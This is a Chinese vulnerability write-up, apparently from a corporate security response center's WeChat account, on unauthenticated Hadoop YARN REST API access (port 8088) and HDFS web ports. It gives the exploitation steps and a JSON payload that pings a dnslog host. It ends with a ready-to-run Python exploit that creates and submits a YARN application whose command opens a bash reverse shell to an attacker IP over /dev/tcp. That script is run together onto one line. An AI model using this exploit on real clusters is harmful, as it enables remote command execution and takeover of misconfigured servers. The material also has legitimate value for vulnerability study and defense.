YARN是hadoop系统上的资源统⼀管理平台,其主要作用是实现集群资源的统⼀管理和调度,可以把MapReduce计算框架作为⼀个应用程序运行在YARN系统之上。
YARN提供了默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建,任务提交执行等操作。
如果配置不当,REST API将会开放在公网导致授权访问。通过访问NameNode WebUI管理界面的50070端口,可以下载任意文件。
如果DataNode的默认端口开放50075开放,攻击者可以通过HDSF提供restful API对HDFS存储的数据进行操作。
>>>> 0x01 服务特征
默认8088端口,存在如下为授权访问,
http://ip:8088/cluster/apps
>>>> 0x03 影响版本
全版本
>>>> 0x04 利用思路
利用过程:
1. 在本地监听端口用来连接反弹shell;
2. 调用New Application API创建Application;
3. 调用Submit Application API提交。
>>>> 0x05 漏洞验证
访问 http://192.168.0.101:8088/cluster,由于未授权访问,可看到Hadoop YARN ResourceManager WebUI页面。
同样的也可以调用API来访问。
提交的任务内容可以填写针对刚才新建的Application_id 操作参数,这边修改命令执行参数,如下:
{
'application-id': appid, //这边填写新创建appid:application16588165791440003
'application-name': 'shell01',
'am-container-spec': {
'commands': {
'command': 'ping -c4dfg.dnslog.cn' ,//这边可以填写任意命令;
},
},
'application-type': 'YARN',
}
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}requests.post(url, json=data)
银河实验室
往期回顾
技术
技术
技术
技术
点赞、分享,感谢你的阅读▼
原文始发于微信公众号(平安集团安全应急响应中心):Hadoop 未授权REST API漏洞利用参考